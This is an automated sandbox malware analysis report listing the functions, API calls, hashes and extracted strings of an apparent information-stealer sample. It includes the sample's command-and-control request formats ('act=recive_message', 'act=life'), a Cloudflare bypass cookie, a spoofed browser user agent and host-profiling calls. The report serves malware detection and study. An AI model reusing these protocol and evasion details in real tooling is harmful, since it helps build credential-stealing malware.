Opcode ID: fec6af9dd3aae195c44992dc39532a6c56bc3f33a944c3c0c542f79cc5d76786
Instruction ID: 52936f9bf4433085117fd9fa1f4f7673dc9c58c8ccbb71a47a9ed36277231f89
Opcode Fuzzy Hash: fec6af9dd3aae195c44992dc39532a6c56bc3f33a944c3c0c542f79cc5d76786
Instruction Fuzzy Hash: 9EA1B474E00228CFDB64DFA5C854B9EBBB2BF89304F1085A9D409AB394DB349E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0384899D Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 03848A59

Memory Dump Source

Source File: 0000000C.00000002.2288942960.0000000003840000.00000040.00000800.00020000.00000000.sdmp, Offset: 03840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3840000_8FEE.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: f9a02276c87b3bdfb6590629eb1ae1ce77527f1df0236d794cc43ac8faaac2ee
Instruction ID: 38cd4ca5b6745f13f0702568c57b618a81cd9ee7226498824c8ed5fe546da578
Opcode Fuzzy Hash: f9a02276c87b3bdfb6590629eb1ae1ce77527f1df0236d794cc43ac8faaac2ee
Instruction Fuzzy Hash: D941D2B0C0061DDFDB24CFA9C844A9DBBB5FF48304F24849AD408AB255DBB5998ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 03846EA8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 03848A59

Memory Dump Source

Source File: 0000000C.00000002.2288942960.0000000003840000.00000040.00000800.00020000.00000000.sdmp, Offset: 03840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3840000_8FEE.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5e70aec3b8836a3c49b9f91fe454eb78a1e0690c763bd4ea8a6b1a8c7e174dec
Instruction ID: 9127253a14ee5d7c4bb11047718c86323090d8acb9f59f70f2592c563560789e
Opcode Fuzzy Hash: 5e70aec3b8836a3c49b9f91fe454eb78a1e0690c763bd4ea8a6b1a8c7e174dec
Instruction Fuzzy Hash: 0341C2B0C0061DDFDB24DFA9C944B9EBBB5FF48304F24809AD408AB255DBB59986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 038CE629 Relevance: 1.5, APIs: 1, Instructions: 48
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 038CE68D

Memory Dump Source

Source File: 0000000C.00000002.2289123446.00000000038C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 038C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_38c0000_8FEE.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fba6518cc7028c6d848d3048e8f883c9b563fa6d3d8a978aa77db32922a029cd
Instruction ID: cc1ab6eb2e13bca073061a645de27b0b51b0b403a210c97a139bbb9e9ede7e4c
Opcode Fuzzy Hash: fba6518cc7028c6d848d3048e8f883c9b563fa6d3d8a978aa77db32922a029cd
Instruction Fuzzy Hash: E61106B5900249DFDB20CF99D885BDEFBF4EB48324F248459D558A7310C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 038CAC60 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 038CE68D

Memory Dump Source

Source File: 0000000C.00000002.2289123446.00000000038C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 038C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_38c0000_8FEE.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: cca74de13b7b44b9518027518ad45c7d3924eb69ecee0a4750c1ee75a462d16b
Instruction ID: 0792b01ba7cb1204e95ad8322f97055171322a926fc860fc179de1c7ca423708
Opcode Fuzzy Hash: cca74de13b7b44b9518027518ad45c7d3924eb69ecee0a4750c1ee75a462d16b
Instruction Fuzzy Hash: EC11F2B58103499FCB20DF9AC485BDEBBF8EB48320F14845AE958A7210C375A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01BFD774 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288265365.0000000001BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1bfd000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d11e0996871f6b6990b0c59f71eb28993513ccdac7f26e2b5f28eb329a464a
Instruction ID: 4911acdf0533599eaf7152d7971ba3a739105ad2bff2ea7ccae48e84a3da6376
Opcode Fuzzy Hash: 41d11e0996871f6b6990b0c59f71eb28993513ccdac7f26e2b5f28eb329a464a
Instruction Fuzzy Hash: 8F21C771504240DFDB099F98D9C4B2ABFA5FB88314F2486ADDA0D4A256C336D459CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01BFD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288265365.0000000001BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1bfd000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da9d042e22950889361ed852aac8422f1396fe8d6536380a7a1cc4f5c6f887e
Instruction ID: 678175066de8818583e193cb452ca8cb474d17555e76726e348f50f7644a8a9f
Opcode Fuzzy Hash: 5da9d042e22950889361ed852aac8422f1396fe8d6536380a7a1cc4f5c6f887e
Instruction Fuzzy Hash: F6213771500204DFDB09DF58D9C4B6ABF65FB94324F24C6ADDA094B216C33AE45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01C0D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288477667.0000000001C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0d000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5d8a879319d3798510fb21851835b3fb89c25a78bb683dc5112e0c76b17054
Instruction ID: 517fb259bf086f297f969b4d924ea47327de7392329541e0253fb849a3432e57
Opcode Fuzzy Hash: 7d5d8a879319d3798510fb21851835b3fb89c25a78bb683dc5112e0c76b17054
Instruction Fuzzy Hash: 74213471604200DFDB16DF98D9C4B26BFA5EB84318F20C56DD80E4B296C33AD447CA62

Uniqueness

Uniqueness Score: -1.00%

Function 01C0D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288477667.0000000001C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1c0d000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c1d7ef46de412438cd7f999bccad52d9d753843ddacd0e5ebf731dbb1da3ea
Instruction ID: 2ada4041a7590b8b16cae470c70fc22e0fd56aa6a24d8583ba862c85e8a5285c
Opcode Fuzzy Hash: 43c1d7ef46de412438cd7f999bccad52d9d753843ddacd0e5ebf731dbb1da3ea
Instruction Fuzzy Hash: 2B217C75509380CFDB03CF64D994715BF71EB46218F28C5EAD8498B6A7C33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 01BFD76F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288265365.0000000001BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1bfd000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36269af6dd7e3a2399a71e090a8f12b962318dc77b44e4e110e07d470b42fec1
Instruction ID: 0431dec8d8babc53be00a770f2188b2dab95ccc40111fc3ae56d617b99af9896
Opcode Fuzzy Hash: 36269af6dd7e3a2399a71e090a8f12b962318dc77b44e4e110e07d470b42fec1
Instruction Fuzzy Hash: 28219076504280DFDB16CF54D9C4B16BF72FB88314F24C6A9DA490B616C33AD46ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 01BFD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288265365.0000000001BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1bfd000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2606a4a14bc0308a17ad307f86ae46a98a791ce75d1531a428ec5fea1e3dc5ad
Instruction ID: d5169a385cabfc35d640e4710053b4baed4ca90b1dd900d7a78c7afb07e6dac5
Opcode Fuzzy Hash: 2606a4a14bc0308a17ad307f86ae46a98a791ce75d1531a428ec5fea1e3dc5ad
Instruction Fuzzy Hash: 0311EE72504280CFDB06CF44D9C4B56BF71FB94324F28C2ADDA090B616C33AE45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01BFDA81 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288265365.0000000001BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1bfd000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce43ac5695227d7b425367715516c109857f2885675e7073067a8c6e2576136c
Instruction ID: ac3a76bdcee0da0158bef0f73409ec8d0ac682f5c2be9a469b3df92425429903
Opcode Fuzzy Hash: ce43ac5695227d7b425367715516c109857f2885675e7073067a8c6e2576136c
Instruction Fuzzy Hash: BE01F73110C3409AE7158A69C984767BF98DF41320F08C6AEEF080A142C378D84CC675

Uniqueness

Uniqueness Score: -1.00%

Function 01BFDA80 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2288265365.0000000001BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 01BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1bfd000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5cc304ee7eeac1cb726d6b6698587c5ae29201b29e76288b432979a95c56b7
Instruction ID: ce333b96fe580a7e065ab2df7be82296ff675011ad502ec8caca05a8e1c12acd
Opcode Fuzzy Hash: cd5cc304ee7eeac1cb726d6b6698587c5ae29201b29e76288b432979a95c56b7
Instruction Fuzzy Hash: C3F062715083449EE7158A1AC9C4B67FFA8EB41734F18C59EEE485E286C3799C48CA71

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 038CB472 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2289123446.00000000038C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 038C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_38c0000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640e669843577950bd9f16c56162e52d714d60c70bb6ddc38751d9dacca068d1
Instruction ID: 8271e7ea11195bf706309c01462bc4fd5ab46770030a1e1b65a600cc6e1e860c
Opcode Fuzzy Hash: 640e669843577950bd9f16c56162e52d714d60c70bb6ddc38751d9dacca068d1
Instruction Fuzzy Hash: 8AC19D74E01258CFDB64DFA9D880A9DBBB2BF89300F5085AAD419BB354DB309D82CF11

Uniqueness

Uniqueness Score: -1.00%

Function 038CD0AA Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2289123446.00000000038C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 038C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_38c0000_8FEE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4dbed92b72d724a6a85e52ff2cc03821533abdc78b2685cfe15552516c023a3
Instruction ID: fb089e5e831fc6ef3e4debdbea247bb4dc0c2acc0013c730bead70bb6844645d
Opcode Fuzzy Hash: b4dbed92b72d724a6a85e52ff2cc03821533abdc78b2685cfe15552516c023a3
Instruction Fuzzy Hash: C4E06530D5614EDADB14EFE4C0153BFF670BB81209FA054AE8409B3280CBB0CA4ACA56

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 933A.exePID: 4476, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	10.2%
Signature Coverage:	2.6%
Total number of Nodes:	274
Total number of Limit Nodes:	6

Executed Functions

Function 00401370 Relevance: 3.0, APIs: 2, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 00401390
GetComputerNameW.KERNEL32 ref: 004013D6

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 9133728f283215a3140aef3e281108e08244801c888a85e67dd481cc0fddef7a
Instruction ID: cc77981e99e9437f3849396f31df8ae4dfe0f0399db09d4badf4a7755daee6b6
Opcode Fuzzy Hash: 9133728f283215a3140aef3e281108e08244801c888a85e67dd481cc0fddef7a
Instruction Fuzzy Hash: C111C2744083169FC720EF65C4885AEBBE0BB94355F408C3EE4D9962A0E77880899F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0044A800 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0044A82F
WinHttpOpen.WINHTTP ref: 0044A8C3
WinHttpConnect.WINHTTP ref: 0044A8F8
WinHttpOpenRequest.WINHTTP ref: 0044A949
wsprintfW.USER32 ref: 0044A9F8
WinHttpAddRequestHeaders.WINHTTP ref: 0044AA1D

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

_strlen.LIBCMT ref: 0044AA43
_strlen.LIBCMT ref: 0044AA54
WinHttpSendRequest.WINHTTP ref: 0044AA8D
WinHttpReceiveResponse.WINHTTP ref: 0044AAB2
WinHttpQueryDataAvailable.WINHTTP ref: 0044AAEF
WinHttpReadData.WINHTTP ref: 0044AB9B
WinHttpCloseHandle.WINHTTP ref: 0044AC0C
WinHttpCloseHandle.WINHTTP ref: 0044AC2C
WinHttpCloseHandle.WINHTTP ref: 0044AC43

Strings

act=recive_message&lid=%s&j=%s&ver=4.0, xrefs: 0044A988
Cookie: __cf_mw_byp=%hs, xrefs: 0044A9E7
Content-Type: application/x-www-form-urlencoded, xrefs: 0044A956
/api, xrefs: 0044A916
default, xrefs: 0044A994
P, xrefs: 0044A8E8
MyRnHu--Install18, xrefs: 0044A98E
POST, xrefs: 0044A910
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0044A898

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Http$CloseHandleRequest_strlen$DataOpen$AvailableConnectHeadersQueryReadReceiveResponseSend_freewsprintf
String ID: /api$Content-Type: application/x-www-form-urlencoded$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$MyRnHu--Install18$P$POST$act=recive_message&lid=%s&j=%s&ver=4.0$default
API String ID: 3249891312-1710526467
Opcode ID: c63ff1839714f176717fd416a1e84c95ba4c454271de0b926cbe994f8e40bd5e
Instruction ID: c663ef6de25b2c653a768e21fa1fac1430468559677e40746ccf0adf9828aa2b
Opcode Fuzzy Hash: c63ff1839714f176717fd416a1e84c95ba4c454271de0b926cbe994f8e40bd5e
Instruction Fuzzy Hash: 72D1C2B4408341DFE310EF29D58871ABBE0BB88319F10892EF49987350E7B89589CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 0042CE00 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0042CE36
WinHttpOpen.WINHTTP ref: 0042CECB
WinHttpConnect.WINHTTP ref: 0042CF00
WinHttpOpenRequest.WINHTTP ref: 0042CF5A
WinHttpSendRequest.WINHTTP ref: 0042CFB3
WinHttpReceiveResponse.WINHTTP ref: 0042CFDA
WinHttpQueryDataAvailable.WINHTTP ref: 0042D015
WinHttpReadData.WINHTTP ref: 0042D0B2
WinHttpCloseHandle.WINHTTP ref: 0042D1E9
WinHttpCloseHandle.WINHTTP ref: 0042D202

Strings

section, xrefs: 0042D152
Content-Type: application/x-www-form-urlencoded, xrefs: 0042CF67
/api, xrefs: 0042CF27
act=life, xrefs: 0042CF80
P, xrefs: 0042CEF0
name="atok" value=", xrefs: 0042D174
POST, xrefs: 0042CF21
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0042CEA0

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: Http$CloseDataHandleOpenRequest$AvailableConnectQueryReadReceiveResponseSend_strlen
String ID: /api$Content-Type: application/x-www-form-urlencoded$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$act=life$name="atok" value="$section
API String ID: 3418879690-691063197
Opcode ID: 1cd994501b80b663bcf5f23acfa268597d9bb414877afac28e034d9698f62d05
Instruction ID: a82fe23b021a31daa1eb6ff84f4607686432598fe85d7b3adf0d88821d97b136
Opcode Fuzzy Hash: 1cd994501b80b663bcf5f23acfa268597d9bb414877afac28e034d9698f62d05
Instruction Fuzzy Hash: BAC1B4B4508351DFD710DF29E18876EBBE0BB88348F50892EE49997250D7B9C58ACF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00B2003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 00B2024D

Strings

kernel32.dll, xrefs: 00B2008F, 00B20095
cess, xrefs: 00B2018D

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: b9ac43faf0e425f66e751f636274e19294a2a96a06a7e17410e8e14007054894
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 72527974A11229DFDB64CF58D984BA8BBB1BF09304F1480D9E90DAB352DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00406490 Relevance: 9.1, APIs: 6, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 004064F5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2057b2cb8b96d5f653b0357f0fe930046427e6f145e64274956b72f6cf9ec048
Instruction ID: f1ce435f04245675865bc4ffc9873b2b87b11a1e248ac43a4890b6ac50e0ab16
Opcode Fuzzy Hash: 2057b2cb8b96d5f653b0357f0fe930046427e6f145e64274956b72f6cf9ec048
Instruction Fuzzy Hash: 3F51CFB05083009FD700EF29D58875EBBE0BB88318F018A2EF49997291D7B9D5998F4B

Uniqueness

Uniqueness Score: -1.00%

Function 00452547 Relevance: 4.6, APIs: 3, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0045260F
_free.LIBCMT ref: 00452630
_free.LIBCMT ref: 0045263A

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: acbb108ce32888e9f9af30377f669ae336cfe8216adb427aa8a7811d821e6199
Instruction ID: d7cdbd68d41de5d86eff22ea0523e9850b3df8564cde1bcba792d031dacfe2c1
Opcode Fuzzy Hash: acbb108ce32888e9f9af30377f669ae336cfe8216adb427aa8a7811d821e6199
Instruction Fuzzy Hash: 38319B3AA00215ABCF10AF789851ABF73A4DF45355B14405BFD41EB382FA39DE0AC258

Uniqueness

Uniqueness Score: -1.00%

Function 0045D6A1 Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,0046AFE0,004523FA,?,0046AFE0,00452531,004623E2,?,0046AFE0,0000000B,0000000B,?,004624A5,00000100,?,0046AFE0), ref: 0045D6A5
_free.LIBCMT ref: 0045D6DE
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,004624A5,00000100,?,0046AFE0,00000000,0000000B,0000000B,?,004623A2,?,?,?,00000002), ref: 0045D6E5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: 7c8943279a8e7ca65d274a540b7cb83a591431ab6b1b18dd158c556d8cc28558
Instruction ID: 21b977bc1c6990823b4ba12b0fd0ab31da24cd13c0c12d7ff6bb18bcb1ce565d
Opcode Fuzzy Hash: 7c8943279a8e7ca65d274a540b7cb83a591431ab6b1b18dd158c556d8cc28558
Instruction Fuzzy Hash: 73E06C7750551166A121323A7C9996B194DCFC57767150127FC1991283AD584C0751AD

Uniqueness

Uniqueness Score: -1.00%

Function 004523E7 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0045242A

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1817745282ab48c2c63bc0ffc4444e7b5bfcbf0e1a33fc8786a2e9b3c7b71c57
Instruction ID: 77f4757f17154b3a1074849f8fce82bfc3a9ff0fd76c92950600ffaffafaccdc
Opcode Fuzzy Hash: 1817745282ab48c2c63bc0ffc4444e7b5bfcbf0e1a33fc8786a2e9b3c7b71c57
Instruction Fuzzy Hash: 1AE0652250252095D2262B3F7E0127E1945ABC7377F22422BFC289A1D7DFAC488A509D

Uniqueness

Uniqueness Score: -1.00%

Function 00B20E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00B20223,?,?), ref: 00B20E19
SetErrorMode.KERNELBASE(00000000,?,?,00B20223,?,?), ref: 00B20E1E

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d3d99cc04f1a8f684d5fd2d77414d8ee9fb87755c6d3df6a29803a24b718521b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 21D0123154512877D7003A94DC09BCD7B5CDF09B62F008451FB0DD9081C770994047E5

Uniqueness

Uniqueness Score: -1.00%

Function 00C1E106 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00C1E14E

Memory Dump Source

Source File: 0000000D.00000002.3033410607.0000000000C1D000.00000040.00000020.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c1d000_933A.jbxd

Yara matches

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 7e7a1f2af69c20d335c3796c67785363611c01811e52cbb75e5a4382e0bb5a7a
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4CF06236200711BBD7203AF5AC8DBAE76F8AF4A725F240528EA53D11C1DB70E9859A61

Uniqueness

Uniqueness Score: -1.00%

Function 0045B525 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00458551,00000001,00000364,00000008,000000FF,?,?,?,004522AE,00459318), ref: 0045B566

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 41225f79db59c0d6b57b56eda7100f0713d354ee1cac2e1d1c3e9c719f370962
Instruction ID: a04ad34ffaa3fc5a3b7fce37970f21610cef2cee0b168ae732ab64fc0f864384
Opcode Fuzzy Hash: 41225f79db59c0d6b57b56eda7100f0713d354ee1cac2e1d1c3e9c719f370962
Instruction Fuzzy Hash: EAF02B3260022CB7DB191E635C02A1B3749DF823ABB448023BC0596283EB28DD0941EC

Uniqueness

Uniqueness Score: -1.00%

Function 00459A8F Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 00459AC1

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e9369788f581e099a96f10868dd856969946a60ac45c85ed590cbf77d7d58183
Instruction ID: 9437b4b9539c7756ffd18aba0ca01817a06b70f720c1a108ee3b74726406bdb3
Opcode Fuzzy Hash: e9369788f581e099a96f10868dd856969946a60ac45c85ed590cbf77d7d58183
Instruction Fuzzy Hash: 6FE065311002A1E7D621267A9D05B9B76499FC13A7F190163FC0596293DB5CDC0942FD

Uniqueness

Uniqueness Score: -1.00%

Function 004462C0 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406490: ExitProcess.KERNEL32 ref: 004064F5

Part of subcall function 00401370: GetUserNameW.ADVAPI32 ref: 00401390
Part of subcall function 00401370: GetComputerNameW.KERNEL32 ref: 004013D6

ExitProcess.KERNEL32 ref: 004462EB

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ExitNameProcess$ComputerUser
String ID:
API String ID: 2645526963-0
Opcode ID: c9bc613f65dcab954b8514f4a0b6a27ff23275a488e3139c31a11f33e05b2e4a
Instruction ID: 85430b9e1d3eae2e3179ffd8a0793c4ecabba72afad34187b39a7164d39ef004
